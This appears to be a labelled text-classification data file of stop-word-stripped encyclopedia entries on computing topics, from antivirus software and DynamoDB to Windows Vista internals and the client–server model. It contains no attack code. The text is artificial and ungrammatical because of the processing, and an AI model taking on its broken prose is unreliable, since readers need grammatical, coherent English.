understanding prompts decisions antivirus software presents incorrect decision may lead security breach antivirus software employs heuristic detection must fine-tuned minimize misidentifying harmless software malicious false positive antivirus software usually runs highly trusted kernel level operating system allow access potential malicious process files creating potential avenue attack us national security agency nsa uk government communications headquarters gchq intelligence agencies respectively exploiting anti-virus software spy users anti-virus software highly privileged trusted access underlying operating system makes much appealing target remote attacks additionally anti-virus software years behind security-conscious client-side applications like browsers document readers means acrobat reader microsoft word google chrome harder exploit 90 percent anti-virus products according joxean koret researcher coseinc singapore-based information security consultancy antivirus software running individual computers common method employed guarding malware solution solutions also employed users including unified threat management utm hardware network firewalls cloud-based antivirus online scanners network firewalls prevent unknown programs processes accessing system however antivirus systems make attempt identify remove anything may protect infection outside protected computer network limit activity malicious software present blocking incoming outgoing requests certain tcp/ip ports firewall designed deal broader system threats come network connections system alternative virus protection system cloud antivirus technology uses lightweight agent software protected computer offloading majority data analysis provider infrastructure one approach implementing cloud antivirus involves scanning suspicious files using multiple antivirus engines approach proposed early implementation cloud antivirus concept called cloudav cloudav designed send programs documents network cloud multiple antivirus behavioral detection programs used simultaneously order improve detection rates parallel scanning files using potentially incompatible antivirus scanners achieved spawning virtual machine per detection engine therefore eliminating possible issues cloudav also perform retrospective detection whereby cloud detection engine rescans files file access history new threat identified thus improving new threat detection speed finally cloudav solution effective virus scanning devices lack computing power perform scans examples cloud anti-virus products panda cloud antivirus crowdstrike cb defense immunet comodo group also produced cloud-based anti-virus antivirus vendors maintain websites free online scanning capability entire computer critical areas local disks folders files periodic online scanning good idea run antivirus applications computers applications frequently slow catch threats one first things malicious software attack disable existing antivirus software sometimes way know attack turning online resource installed infected computer virus removal tools available help remove stubborn infections certain types infection examples include avast free anti- malware avg free malware removal tools avira antivir removal tool also worth noting sometimes antivirus software produce false positive result indicating infection none rescue disk bootable cd usb storage device used run antivirus software outside installed operating system order remove infections dormant bootable antivirus disk useful example installed operating system longer bootable malware resisting attempts removed installed antivirus software examples bootable disks include bitdefender rescue cd kaspersky rescue disk 2018 windows defender offline integrated windows 10 since anniversary update rescue cd software also installed onto usb storage device bootable newer computers according fbi survey major businesses lose 12 million annually dealing virus incidents survey symantec 2009 found third small medium-sized business use antivirus protection time whereas 80 home users kind antivirus installed according sociological survey conducted g data software 2010 49 women use antivirus program
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Computer security
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common computing security standards forum common computing security standards forum ccss forum voluntary organization vendors providers security software operating systems internet browsers ccss forum formed following goals 2009 melih abdulhayoğlu organized common computing security standards forum initially purpose maintaining list legitimate antivirus engines response scareware products present antivirus software either adware malware according fbi aware estimated loss victims rogue antivirus software much 150 million ccss maintains so-called whitelist legitimate organizations provide antivirus systems trusted vendors list viewed organization web site http //www.ccssforum.org
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Computer security
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security trust services api j2me security trust services api j2me satsa collection java me-based apis provides compliant devices additional cryptographic security features permits communication java application smartcard apdu java card rmi protocols satsa developed java community process jsr 177 covers following features natively supported original java platform satsa api considered optional feature sun microsystems mandated java phones however device manufacturers may include required several device manufacturers already chosen include satsa products among several mobile phone manufacturers
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Programming language topics
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fl programming language fl short function level functional programming language created ibm almaden research center john backus john williams edward wimmers 1980s documented report 1989 fl designed successor backus earlier fp language providing specific support backus termed function-level programming fl dynamically typed strict functional programming language throw catch exception semantics much like ml function implicit history argument used things like strictly functional input/output i/o also used linking c code optimization exists type-system extension hindley–milner type inference many language ’ innovative ideas since implemented kenneth e. iverson ’ j language plasm geometry-oriented extension subset fl language first described 1992
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Programming language topics
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amazon dynamodb amazon dynamodb fully managed proprietary nosql database service supports key-value document data structures offered amazon.com part amazon web services portfolio dynamodb exposes similar data model derives name dynamo different underlying implementation dynamo multi-master design requiring client resolve version conflicts dynamodb uses synchronous replication across multiple datacenters high durability availability dynamodb announced amazon cto werner vogels january 18 2012 presented evolution amazon simpledb solution vogels motivates project 2012 announcement amazon began decentralized network services originally services direct access ’ databases became bottleneck engineering operations services moved away direct access pattern favor public-facing apis still third-party relational database management systems struggled handle amazon ’ client base culminated 2004 holiday season several technologies failed high scale traffic engineers normalizing relational systems reduce data redundancy design optimizes storage sacrifice stored given “ item ” data e.g information pertaining product product database several relations takes time assemble disjoint parts query many amazon ’ services demanded mostly primary-key reads data speed top priority putting pieces together taxing systems content compromising storage efficiency amazon ’ response dynamo highly available key-value store built internal use dynamo seemed everything engineers needed adoption lagged amazon developers opted “ works ” design patterns s3 simpledb systems noticeable design flaws demand overhead provisioning hardware scaling re-partitioning data amazon next iteration nosql technology dynamodb automated database management operations reduce headache developers dynamodb differs amazon services allowing developers purchase service based throughput rather storage auto scaling enabled database scale automatically additionally administrators request throughput changes dynamodb spread data traffic number servers using solid-state drives allowing predictable performance offers integration hadoop via elastic mapreduce september 2013 amazon made available local development version dynamodb developers test dynamodb-backed applications locally dynamodb table features items attributes form primary key whereas relational systems item features table attribute juggles “ null ” “ unknown ” values absence dynamodb items schema-less exception creating table developer specifies primary key table requires key item therein primary keys must scalar strings numbers binary take one two forms single-attribute primary key known table ’ “ partition key. ” partition key determines partition item hashes to––more partitioning below––so ideal partition key uniform distribution range primary key also feature second attribute dynamodb calls table ’ “ sort key. ” case partition keys unique paired sort keys make unique identifier item partition key still used determine partition item stored within partition items sorted sort key relational model indices typically serve “ helper ” data structures supplement table allow dbms optimize queries hood improve query functionality dynamodb query optimizer index simply another table different key two sits beside original developer creates index creates new copy data fields specifies get copied minimum fields indexes original table ’ primary key dynamodb users issue queries directly indices two types indices available global secondary index features partition key optional sort key ’ different original table ’ partition key local secondary index features partition key original table different sort key indices introduce entirely new query functionality dynamodb database allowing queries new keys indexing system data redundancy pure simple relational philosophy permit indices prime example dynamodb prioritizes speed space efficiency like relational systems dynamodb updates indices automatically addition/update/deletion must judicious creating risk slowing write-heavy database slew index updates dynamodb uses json syntax ubiquity development community create table action demands three arguments tablename keyschema––a list containing partition key optional sort key––and attributedefinitions––a list attributes defined must least contain definitions attributes used partition sort keys whereas relational databases offer robust query languages dynamodb offers put get update delete operations put requests contain tablename attribute item attribute consists attributes values item update request follows syntax similarly get delete item simply specify tablename key dynamodb uses hashing b trees manage data upon entry data first distributed different partitions hashing partition key partition store 10gb data handle default 1000 write capacity units wcu 3000 read capacity units rcu one rcu represents one strongly consistent read per second two eventually consistent reads per second items 4kb size one wcu represents one write per second item 1kb size prevent data loss dynamodb features two-tier backup system replication long-term storage partition features three nodes contains copy partition ’ data node also contains two data structures b tree used locate items replication log notes changes made node dynamodb periodically takes snapshots two data structures stores month s3 engineers perform point-in-time restores databases within partition one three nodes designated “ leader node. ” write operations travel first leader node propagating makes writes consistent dynamodb maintain status leader sends “ heartbeat ” node every 1.5 seconds another node stop receiving heartbeats initiate new leader election dynamodb uses paxos algorithm elect leaders amazon engineers avoided dynamo originally due engineering overheads like provisioning managing partitions nodes response dynamodb team built service calls autoadmin manage database autoadmin replaces node stops responding copying data another node partition exceeds three thresholds rcu wcu 10gb autoadmin automatically add additional partitions segment data like indexing systems relational model dynamodb demands updates table reflected table ’ indices dynamodb handles using service calls “ log propagator ” subscribes replication logs node sends put update delete requests indices necessary indices result substantial performance hits write requests dynamodb allows user five given table suppose dynamodb user issues write operation put update delete typical relational system would convert sql query relational algebra run optimization algorithms dynamodb skips processes gets right work request arrives dynamodb request router authenticates–– “ request coming where/whom claims ” ––and checks authorization–– “ user submitting request requisite permissions ” assuming checks pass system hashes request ’ partition key arrive appropriate partition three nodes within copy partition ’ data system first writes leader node writes second node sends “ success ” message finally continues propagating third node writes consistent always travel first leader node finally log propagator propagates change indices index grabs index ’ primary key value item performs write index without log propagation operation update pre-existing item updated attribute may serve primary key index thus b tree index must update well b trees handle insert delete read operations practice log propagator receives update operation issues delete operation put operation indices suppose dynamodb user issues get operation request router proceeds authentication authorization next hash partition key arrive appropriate hash encounter problem three nodes eventual consistency one another decide investigate dynamodb affords user two options issuing read consistent eventually consistent consistent read visits leader node consistency-availability tradeoff rears head read-heavy systems always reading leader overwhelm single node reduce availability second option eventually consistent read selects random node practice dynamodb trades consistency availability take route odds inconsistency ’ need write operation return “ success ” begin propagating third node finish ’ also need get target third node means 1-in-3 chance inconsistency within write ’ propagation window long window number catastrophes could cause node fall behind vast majority cases third node up-to-date within milliseconds leader languages frameworks dynamodb binding include java javascript node.js go c .net perl php python ruby haskell erlang django grails dynamodb exposes performance metrics help users provision correctly keep applications using dynamodb running smoothly metrics tracked using aws management console using aws command line interface monitoring tool integrating amazon cloudwatch
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Databases
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forensic search forensic search emerging field computer forensics forensic search focuses user created data email files cell phone records office documents pdfs files easily interpreted person forensic search differs computer forensic analysis seek review analyze lower level system files registry link files disk level issues commonly associated traditional computer forensic analysis forensic search emerged due number factors including objective forensic search software allow person general knowledge computers skilled document review investigation techniques undertake search user created electronically stored information esi data typically considered user created esi made emails documents pictures file types created user opposed data created computer operating system i.e registry files link files unallocated space controlled created computer user objective reviewing user created data find information may used base decisions part investigation forensic search software differs using native applications e.g outlook desktop search software e.g google desktop search data changes made data processing searching may impact results skew findings forensic search software also allow access base metadata items available via native application good example would metadata ms word documents number forensic search software products able perform data recovery range email file types examples using native application non-forensic application affect data forensic search software likened ediscovery review software however strictly case ediscovery review software dealing many type computer records search options offer extra functionality forensic search software features redaction legal hold standard ediscovery review software also case forensic search software meet higher end tasks outlined widely accepted electronic discovery reference model edrm tasks identification collection preservation presentation generally covered forensic search software however true ediscovery review generally domain qualified legal practitioners companies use term ediscovery become catchall circles processing searching electronically stored information esi however true representation term ediscovery detailed understanding ediscovery electronic discovery reference model edrm good guideline could said forensic search closely related early case assessment eca ediscovery eca require rigor full ediscovery review presenting data part report may used form decision evidence important data correctly represented reader understand case generating reports system created data registry files link files system created data costly exercise also case straightforward answer explanation example would attempting explain lay person method techniques decoding userassist key windows system registry userassist key hold great deal information actions user computer however explain key reviewer able identify key correctly interpret key setting keys often encoded rot 13 keys decoded human readable formats reviewer show setting relates case often time consuming review hundreds even thousands settings times deliver circumstantial sometimes contentious findings reviewing user created data e-mail contracts reporting understanding findings often much straight forward semi skilled user usually good grasp email works use day-to-day work legal person understand contract need specialist forensic knowledge lead much lower costs review less contentious circumstantial findings features forensic search software focused allowing user search view range data users ’ files one time specific features forensic search software many newer emerging fields computer forensics cloud forensics mobile phone forensics network forensics memory analysis browser forensics forensic triage internet forensics distant past computer forensic expert ’ common role attend person ’ house place work data center forensically 'image computers devices may involved case categorized collection phase collection phase complete images reviewed esi relevant supplied interested parties required computer forensic investigator good deal experience training process time consuming costly computer forensic expert ’ primary role investigate computer evidence esi may familiar entire case objectives case agent detective forensic accountant crime analyst often led non-perfect time consuming identification correct evidence items differing parties would immediately flag interest detective deep knowledge case parties involved may go unnoticed computer forensic expert example would email suspect another case suspect case contact phone calls witness suspect compound issue massive increase size data computer forensic expert needs collect often case computer hard drive able imaged example computer contains evidence big system shut take image mission critical server email server company file server rise cloud computing also added challenges collection evidence data requires collection review may reside cloud case computer available image forensic expert needs collect information using forensic software designed work certain cloud providers short collection evidence changed significantly past years recognizing challenges concept hybrid forensics discussed creation tools adopt different approach collecting data concept hybrid forensics selective collection data 'live systems way may considered reliable evidence court law enforcement organizations like many organizations divided skill specific units computer forensic cybercrime area units take responsibility aspects esi discussed forensic search point 5 units usually time poor resourced albeit time resources low main knowledge unit comes officers consultants 7+ years experience predates computer forensic degrees available officers become familiar time methodology using forensic analysis software package offer started field hence new officers resources become available forensic analysis software prioritized newer specific software newer forensic field types forensic search software become popular method reducing time cost search analysis larger data sets focusing user data often yields evidence results e-mail seductive powerful evidence personal plentiful candid adults e-mail primary means written communication lawyers think e-discovery e-mail crave surprise e-mail traffic sought-after fought-over esi new generation tools developed order address challenges faced digital forensic ediscovery practitioners
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Computer security
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brian lord cyber security expert brian richard lord born december 1965 former deputy director intelligence cyber operations government communications headquarters gchq cheltenham england managing director cyber pgi protection group international international consultancy specialising cyber security risk consulting brian lord born bradford december 1965 son computer programmer teacher mathematics educated bradford grammar school 1972-1984 brian lord served royal corps signals 1984 1992 joining civil service worked gchq 21 years leaving deputy director intelligence cyber operations awarded obe 2005 new year honours september 2013 joined pgi protection group international consultancy specialising cyber security risk consulting managing director cyber described telegraph leading thinker sector cyber warfare october 2017 lord cleared charge sexual assault gloucester crown court prosecutors present evidence plead guilty common assault placing hand woman knee 2 – 3 minutes party 2016 believed first person british legal history charged common assault particulars assault touching defendant knee according lawyer three judges questioned whether public interest continue case view minor nature
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Computer security
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ethosce ethosce learning management system administration continuing medical education nursing pharmacy healthcare-related programs developed dlc solutions provides interfaces organizations produce manage continuing education websites distribution provided software-as-a-service web application administrative interface allows users administer system web browser supports online mobile registration learners communication in-person online training events application includes online transcripts tracking professional certifications integration accreditation council continuing medical education accme program reporting system pars web service ethosce course object api used define learning objects added workflow built support drupal nodes part course requirement workflow including multiple course objects api allows content/assessments non-drupal external objects delivered tracked course content provides access taking enrolling learners courses ethosce originally released 14 april 2009 dlc solutions version 7.4 discontinued support creating moodle course objects integrated external scorm/tincan/xapi player released 12 december 2014
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Distributed computing architecture
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technical features new windows vista windows vista formerly codenamed windows longhorn many significant new features compared previous microsoft windows versions covering aspects operating system addition new user interface security capabilities developer technologies several major components core operating system redesigned notably audio print display networking subsystems results work visible software developers end-users see appear evolutionary changes user interface part redesign networking architecture ipv6 incorporated operating system number performance improvements introduced tcp window scaling prior versions windows typically needed third-party wireless networking software work properly longer case windows vista includes comprehensive wireless networking support graphics windows vista introduces new well major revisions direct3d new display driver model facilitates new desktop window manager provides tearing-free desktop special effects cornerstones windows aero graphical user interface new display driver model also able offload rudimentary tasks gpu allow users install drivers without requiring system reboot seamlessly recover rare driver errors due illegal application behavior core operating system many improvements made memory manager process scheduler heap manager i/o scheduler kernel transaction manager implemented used data persistence services enable atomic transactions service used give applications ability work file system registry using atomic transaction operations windows vista features completely re-written audio stack designed provide low-latency 32-bit floating point audio higher-quality digital signal processing bit-for-bit sample level accuracy 144 db dynamic range new audio apis created team including steve ball larry osterman new audio stack runs user level thus increasing stability windows vista audio engine designed run faster windows xp audio engine tighter requirements audio buffer position accuracy also new universal audio architecture uaa model introduced replacing wdm audio allows compliant audio hardware automatically work windows without needing device drivers audio hardware vendor three major apis windows vista audio architecture applications communicate audio driver sessions sessions programmed windows audio session api wasapi general wasapi operates two modes exclusive mode also called dma mode unmixed audio streams rendered directly audio adapter application audio play signal processing effect exclusive mode useful applications demand least amount intermediate processing audio data want output compressed audio data dolby digital dts wma pro s/pdif wasapi exclusive mode similar kernel streaming function kernel mode programming required shared mode audio streams rendered application optionally applied per-stream audio effects known local effects lfx per-session volume control streams mixed global audio engine set global audio effects gfx may applied finally 're rendered audio device higher level apis waveform-audio interface wavexxx functions directsound use shared mode results pre-mixed pcm audio sent driver single format terms sample rate bit depth channel count format configurable end user control panel passing wasapi host-based audio processing including custom audio processing take place sample rate conversion mixing effects host-based processing modules referred audio processing objects apos components operate user mode portion architecture runs kernel mode audio driver contains port class driver vendor miniport driver vendor hal windows kernel mixer kmixer completely gone direct path directsound audio drivers directsound mme emulated session instances since whole point directsound acceleration allow hardware process unmixed audio content directsound accelerated audio model directsound3d supported also breaks eax extensions apis asio openal affected windows vista also includes new multimedia class scheduler service mmcss allows multimedia applications register time-critical processing run elevated thread priority thus ensuring prioritized access cpu resources time-sensitive dsp processing mixing tasks audio professionals new wavert port driver introduced strives achieve real-time performance using multimedia class scheduler supports audio applications reduce latency audio streams consequently user mode applications completely govern streams audio without code execution kernel runtime wavert allows user mode application direct access internal audio hardware buffers sample position counters data memory mapped audio hardware dma engine allows applications poll current position dma memory window hardware accessing wavert also supports notion hardware generated clock notification event similar asio api applications need poll current position n't want existing audio apis re-plumbed emulated use apis internally audio goes three apis applications work fault mme wavein/waveout emulation introduced windows vista sample rate conversion needed audible noise sometimes introduced playing audio web browser uses apis internal resampler longer configurable defaults linear interpolation lowest-quality conversion mode could set previous versions windows resampler set high-quality mode via hotfix windows 7 windows server 2008 r2 new digital signal processing functionalities room correction bass management loudness equalization speaker fill introduced speaker fill mixes 2-channel content use available speakers manner similar creative cmss bass management used redirect subwoofer signal main speakers channel missing feature called channel phantoming allows best use speakers redirecting sound missing channels speakers whether multi-channel stereo sound system home theater living room windows vista also includes ability calibrate speakers room placing microphone listener plans sit running wizard measures room response windows vista automatically set levels delay frequency balance channel accordingly position pcs equipped stereo headphones vista adds ability surround sound using new feature called headphone virtualization uses technology based upon head-related transfer function windows vista also includes ability use custom host-based digital signal processing effects part audio device manufacturer-supplied driver value-added features effects packaged user-mode system effect audio processing objects sapos sapos also reusable third-party software windows vista builds universal audio architecture new class driver definition aims reduce need third-party drivers increase overall stability reliability audio windows microsoft also included new high quality voice capture directx media object dmo part directshow allows voice capture applications instant messengers speech recognition applications apply acoustic echo cancellation microphone array processing speech signals windows vista first windows operating system include fully integrated support speech recognition windows 2000 xp speech recognition installed office 2003 included windows xp tablet pc edition windows speech recognition allows users control machine voice commands enables dictation many applications application fairly high recognition accuracy provides set commands assists dictation brief speech-driven tutorial included help familiarize user speech recognition commands training could also completed improve accuracy speech recognition windows vista includes speech recognition 8 languages release time english u.s. british spanish german french japanese chinese traditional simplified support additional languages planned post-release speech recognition vista utilizes version 5.3 microsoft speech api sapi version 8 speech recognizer speech synthesis first introduced windows windows 2000 significantly enhanced windows vista code name mulan old voice microsoft sam replaced two new natural sounding voices generally greater intelligibility anna lili latter capable speaking chinese screen-reader narrator uses voices also updated microsoft agent text speech applications use newer sapi 5 voices windows vista includes redesigned print architecture built around windows presentation foundation provides high-fidelity color printing improved use color management removes limitations current gdi-based print subsystem enhances support printing advanced effects gradients transparencies etc. color laser printers use xml paper specification xps print subsystem windows vista implements new xps print path well legacy gdi print path legacy support windows vista transparently makes use xps print path printers support otherwise using gdi print path documents intensive graphics xps printers expected produce much greater quality prints gdi printers networked environment print server running windows vista documents rendered client machine rather server using feature known client side rendering rendered intermediate form transferred server printed without additional processing making print servers scalable offloading rendering computation clients xps print path introduced windows vista supports high quality 16-bit color printing xps print path uses xml paper specification xps print spooler file format serves page description language pdl printers xps spooler format intended replacement enhanced metafile emf format print spooler format graphics device interface gdi print path xps xml-based specifically xaml-based color-managed device resolution independent vector-based paged document format encapsulates exact representation actual printed output xps documents packed zip container along text fonts raster images 2d vector graphics drm information printers supporting xps eliminates intermediate conversion printer-specific language increasing reliability fidelity printed output microsoft claims major printer vendors planning release printers built-in xps support provide better fidelity original document core xps print path xpsdrv xps-based printer driver includes filter pipeline contains set filters print processing modules xml-based configuration file describe filters loaded filters receive spool file data input perform document processing rendering pdl post-processing output pdl data printer consume filters perform single function watermarking page color transformations perform several print processing functions specific document parts individually collectively convert spool file page description language supported printer windows vista also provides improved color support windows color system higher color precision dynamic range also supports cmyk colorspace multiple ink systems higher print fidelity print subsystem also support named colors simplifying color definition images transmitted printer supporting colors xps print path automatically calibrate color profile settings used display subsystem conversely xps print drivers express configurable capabilities printer virtue xps printcapabilities class enable fine-grained control print settings tuned individual printing device applications use windows presentation foundation display elements directly print xps print path without need image colorspace conversion xps format used spool file represents advanced graphics effects 3d images glow effects gradients windows presentation foundation primitives processed printer drivers without rasterization preventing rendering artifacts reducing computational load legacy gdi print path used xps spool file used processing converted gdi image minimize processing done raster level print schemas provide xml-based format expressing organizing large set properties describe either job format print capabilities hierarchically structured manner print schemas intended address problems associated internal communication components print subsystem external communication print subsystem applications windows vista contains new networking stack brings large improvements areas network-related functionality includes native implementation ipv6 well complete overhaul ipv4 ipv6 supported networking components services user interface ipv6 mode windows vista use link local multicast name resolution llmnr protocol resolve names local hosts network dns server running new tcp/ip stack uses new method store configuration settings enables dynamic control require computer restart settings changed new stack also based strong host model features infrastructure enable modular components dynamically inserted removed user interface configuring troubleshooting working network connections changed significantly prior versions windows well users make use new network center see status network connections access every aspect configuration network browsed using network explorer replaces windows xp network places network explorer items shared device scanner file share network location awareness uniquely identifies network exposes network attributes connectivity type windows vista graphically presents different devices connected network network map view using lltd protocol addition network map uses lltd determine connectivity information media type wired wireless device implement lltd appear network map icon representing device allowing users one-click access device user interface lltd invoked provides metadata device contains static state information mac address ipv4/ipv6 address signal strength etc support wireless networks built network stack emulate wired connections case previous versions windows allows implementation wireless-specific features larger frame sizes optimized error recovery procedures windows vista uses various techniques like receive window auto-scaling explicit congestion notification tcp chimney offload compound tcp improve networking performance quality service qos policies used prioritize network traffic traffic shaping available applications even explicitly use qos apis windows vista includes in-built support peer-to-peer networks smb 2.0 improved network security windows vista supports 256-bit 384-bit diffie-hellman dh algorithms well 128-bit 192-bit 256-bit advanced encryption standard aes included network stack integrating ipsec windows firewall windows vista introduces overhaul previous windows nt operating system loader architecture ntldr used versions windows nt since inception windows nt 3.1 ntldr completely replaced new architecture designed address modern firmware technologies unified extensible firmware interface new architecture introduces firmware-independent data store backward compatible previous versions windows operating system windows vista introduces improved driver model windows driver foundation opt-in framework replace older windows driver model includes windows vista includes following changes enhancements processor power management windows vista first client version windows ship .net framework specifically includes .net framework 2.0 .net framework 3.0 previously known winfx version 1.0 1.1 .net framework set managed code apis slated succeed win32 win32 api also present windows vista give direct access new functionality introduced .net framework addition .net framework intended give programmers easier access functionality present windows .net framework 3.0 includes apis ado.net asp.net windows forms among others adds four core frameworks .net framework windows presentation foundation codenamed avalon overhaul graphical subsystem windows flagship resolution independent api 2d 3d graphics raster vector graphics xaml fixed adaptive documents xps advanced typography animation xaml data binding audio video windows vista wpf enables richer control design development visual aspects windows programs based directx renders graphics using direct3d routing graphics direct3d allows windows offload graphics tasks gpu reducing workload computer cpu capability used desktop window manager make desktop windows shell elements 3d surfaces wpf applications deployed desktop hosted web browser xbap 3d capabilities wpf limited compared available direct3d however wpf provides tighter integration features like user interface ui documents media makes possible 3d ui 3d documents 3d media set built-in controls provided part wpf containing items button menu list box controls wpf provides ability perform control composition control contain control layout wpf also built-in set data services enable application developers bind data controls images supported using windows imaging component media wpf supports audio video formats windows media player play addition wpf supports time-based animations contrast frame-based approach delinks speed animation slow fast system performing text anti-aliased rendered using cleartype wpf uses extensible application markup language xaml variant xml intended use developing user interfaces using xaml develop user interfaces also allows separation model view xaml every element maps onto class underlying api attributes set properties instantiated classes elements wpf may also coded .net language c xaml code ultimately compiled managed assembly way .net languages means use xaml development incur performance cost windows communication foundation codenamed indigo new communication subsystem enable applications one machine across multiple machines connected network communicate wcf programming model unifies web services .net remoting distributed transactions message queues single service-oriented architecture model distributed computing server exposes service via interface defined using xml clients connect wcf runs sandbox provides enhanced security model .net applications provide wcf capable using soap communication two processes thereby making wcf based applications interoperable process communicates via soap wcf process communicates non-wcf process xml based encoding used soap messages communicates another wcf process soap messages encoded optimized binary format optimize communication encodings conform data structure soap format called infoset windows vista also incorporates microsoft message queuing 4.0 msmq supports subqueues poison messages messages continually fail processed correctly receiver transactional receives messages remote queue windows workflow foundation microsoft technology defining executing managing workflows technology part .net framework 3.0 therefore targeted primarily windows vista operating system windows workflow foundation runtime components provide common facilities running managing workflows hosted clr application domain workflows comprise 'activities developers write domain-specific activities use workflows windows workflow foundation also provides set general-purpose 'activities cover several control flow constructs also includes visual workflow designer workflow designer used within visual studio 2005 including integration visual studio project system debugger windows cardspace codenamed infocard part .net framework 3.0 implementation identity metasystem centralizes acquiring usage management digital identity digital identity represented logical security tokens consist one claims provide information different aspects identity name address etc identity system centers around three entities — user identified identity provider provides identifying information regarding user relying party uses identity authenticate user identity provider may service like active directory even user provides authentication password biometric authentication data relying party issues request application identity means policy states claims needs physical representation security token application passes request windows cardspace contacts suitable identity provider retrieves identity provides application identity along information use windows cardspace also keeps track identities used represents visually identifiable virtual cards accessible user centralized location whenever application requests identity windows cardspace informs user identity used needs confirmation provides requestor identity windows cardspace presents api allows application use windows cardspace handle authentication tasks similarly api allows identity providers hook windows cardspace relying party appears service provides authentication credentials media foundation set com-based apis handle audio video playback provides directx video acceleration 2.0 better resilience cpu i/o memory stress glitch-free low-latency playback audio video also enables high color spaces multimedia processing pipeline directshow windows media sdk gradually deprecated future versions windows vista instant search index also accessed programmatically using managed well native code native code connects index catalog using data source object retrieved windows vista shell indexing service ole db provider managed code use msidxs ado.net provider index catalog name catalog remote machine also specified using unc path criteria search specified using sql-like syntax default catalog called systemindex stores properties indexed items predefined naming pattern example name location documents system exposed table column names system itemname system itemurl respectively sql query directly refer tables index catalogues use msidxs provider run queries search index also used via ole db using collatordso provider however ole db provider read-only supporting select group sql statements windows search api also used convert search query written using advanced query syntax natural query syntax natural language version aqs sql queries exposes method generatesqlfromuserquery method isearchqueryhelper interface searches also performed using search-ms protocol pseudo protocol lets searches exposed uri contains operators search terms specified aqs refer saved search folders well uri activated windows search registered handler protocol parses uri extract parameters perform search winsock kernel wsk new transport-independent kernel-mode network programming interface npi provides tdi client developers sockets-like programming model similar supported user-mode winsock sockets programming concepts exist user-mode winsock socket creation bind connect accept send receive winsock kernel completely new programming interface unique characteristics asynchronous i/o uses irps event callbacks enhance performance tdi supported windows vista backward compatibility windows vista includes specialized qos api called qwave quality windows audio/video experience pre-configured quality service module time dependent multimedia data audio video streams qwave uses different packet priority schemes real-time flows multimedia packets best-effort flows file downloads e-mails ensure real time data gets little delays possible providing high quality channel data packets windows filtering platform allows external applications access hook packet processing pipeline networking subsystem windows vista features update microsoft crypto api known cryptography api next generation cng cng extensible user mode kernel mode api includes support elliptic curve cryptography number newer algorithms part national security agency nsa suite b also integrates smart card subsystem including base csp module encapsulates smart card api developers write complex csps
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Operating systems
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client–server model client–server model distributed application structure partitions tasks workloads providers resource service called servers service requesters called clients often clients servers communicate computer network separate hardware client server may reside system server host runs one server programs share resources clients client share resources requests server content service function clients therefore initiate communication sessions servers await incoming requests examples computer applications use client–server model email network printing world wide web client-server characteristic describes relationship cooperating programs application server component provides function service one many clients initiate requests services servers classified services provide example web server serves web pages file server serves computer files shared resource may server computer software electronic components programs data processors storage devices sharing resources server constitutes service whether computer client server determined nature application requires service functions example single computer run web server file server software time serve different data clients making different kinds requests client software also communicate server software within computer communication servers synchronize data sometimes called inter-server server-to-server communication general service abstraction computer resources client concerned server performs fulfilling request delivering response client understand response based well-known application protocol i.e content formatting data requested service clients servers exchange messages request–response messaging pattern client sends request server returns response exchange messages example inter-process communication communicate computers must common language must follow rules client server know expect language rules communication defined communications protocol client-server protocols operate application layer application layer protocol defines basic patterns dialogue formalize data exchange even server may implement application programming interface api api abstraction layer accessing service restricting communication specific content format facilitates parsing abstracting access facilitates cross-platform data exchange server may receive requests many distinct clients short period time computer perform limited number tasks moment relies scheduling system prioritize incoming requests clients accommodate prevent abuse maximize availability server software may limit availability clients denial service attacks designed exploit server obligation process requests overloading excessive request rates bank customer accesses online banking services web browser client client initiates request bank web server customer login credentials may stored database web server accesses database server client application server interprets returned data applying bank business logic provides output web server finally web server returns result client web browser display step sequence client–server message exchanges computer processes request returns data request-response messaging pattern requests met sequence complete web browser presents data customer example illustrates design pattern applicable client–server model separation concerns early form client–server architecture remote job entry dating least os/360 announced 1964 request run job response output formulating client–server model 1960s 1970s computer scientists building arpanet stanford research institute used terms server-host serving host user-host using-host appear early documents rfc 5 rfc 4 usage continued xerox parc mid-1970s one context researchers used terms design computer network programming language called decode-encode language del purpose language accept commands one computer user-host would return status reports user encoded commands network packets another del-capable computer server-host received packets decoded returned formatted data user-host del program user-host received results present user client–server transaction development del beginning 1969 year united states department defense established arpanet predecessor internet client-host server-host subtly different meanings client server host computer connected network whereas words server client may refer either computer computer program server-host user-host always refer computers host versatile multifunction computer clients servers programs run host client–server model server likely devoted task serving early use word client occurs separating data function distributed file system 1978 paper xerox parc computer scientists howard sturgis james mitchell jay israel authors careful define term readers explain use distinguish user user network node client 1992 word server entered general parlance client–server model dictate server-hosts must resources client-hosts rather enables general-purpose computer extend capabilities using shared resources hosts centralized computing however specifically allocates large amount resources small number computers computation offloaded client-hosts central computers simpler client-hosts relies heavily network resources servers infrastructure computation storage diskless node loads even operating system network computer terminal operating system input/output interface server contrast fat client personal computer many resources rely server essential functions microcomputers decreased price increased power 1980s late 1990s many organizations transitioned computation centralized servers mainframes minicomputers fat clients afforded greater individualized dominion computer resources complicated information technology management 2000s web applications matured enough rival application software developed specific microarchitecture maturation affordable mass storage advent service-oriented architecture among factors gave rise cloud computing trend 2010s addition client–server model distributed computing applications often use peer-to-peer p2p application architecture client–server model server often designed operate centralized system serves many clients computing power memory storage requirements server must scaled appropriately expected work-load i.e number clients connecting simultaneously load-balancing failover systems often employed scale server implementation peer-to-peer network two computers peers pool resources communicate decentralized system peers coequal equipotent nodes non-hierarchical network unlike clients client–server client–queue–client network peers communicate directly peer-to-peer networking algorithm peer-to-peer communications protocol balances load even peers modest resources help share load node becomes unavailable shared resources remain available long peers offer ideally peer need achieve high availability redundant peers make resource downtime availability load capacity peers change protocol reroutes requests client-server master-slave regarded sub-categories distributed peer-to-peer systems
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Internet protocols
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temporal annotation temporal annotation study automatically add semantic information regarding time natural language documents plays role natural language processing computational linguistics temporal annotation involves application semantic annotation document significant temporal annotation standards include timeml iso-timeml tides standards typically include annotations temporal expressions timexes events temporal relations temporal signals temporal relation types natural language texts events may associated times e.g. may start end given time events also associated events like occurring call relations temporal relations temporal relation typing classifies relation two arguments important difficult sub-task figuring temporal information document allen interval algebra one scheme types temporal relations rule-engineering machine learning approaches temporal annotation successful though achieving high performance temporal relation typing remains difficult task successful temporal annotation enables systems find facts asserted texts true build timelines extract plans discover mentions change applications many domains information extraction digital history processing social media clinical text mining tempeval task series sets shared temporal annotation task run semeval three times attracting system entries around world task originally centred determining types temporal relations tempeval-2 -3 expanded include event timex annotation addition i2b2 clinical evaluation shared task temporal annotation exercise 2012 attracted great deal interest
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Computational linguistics
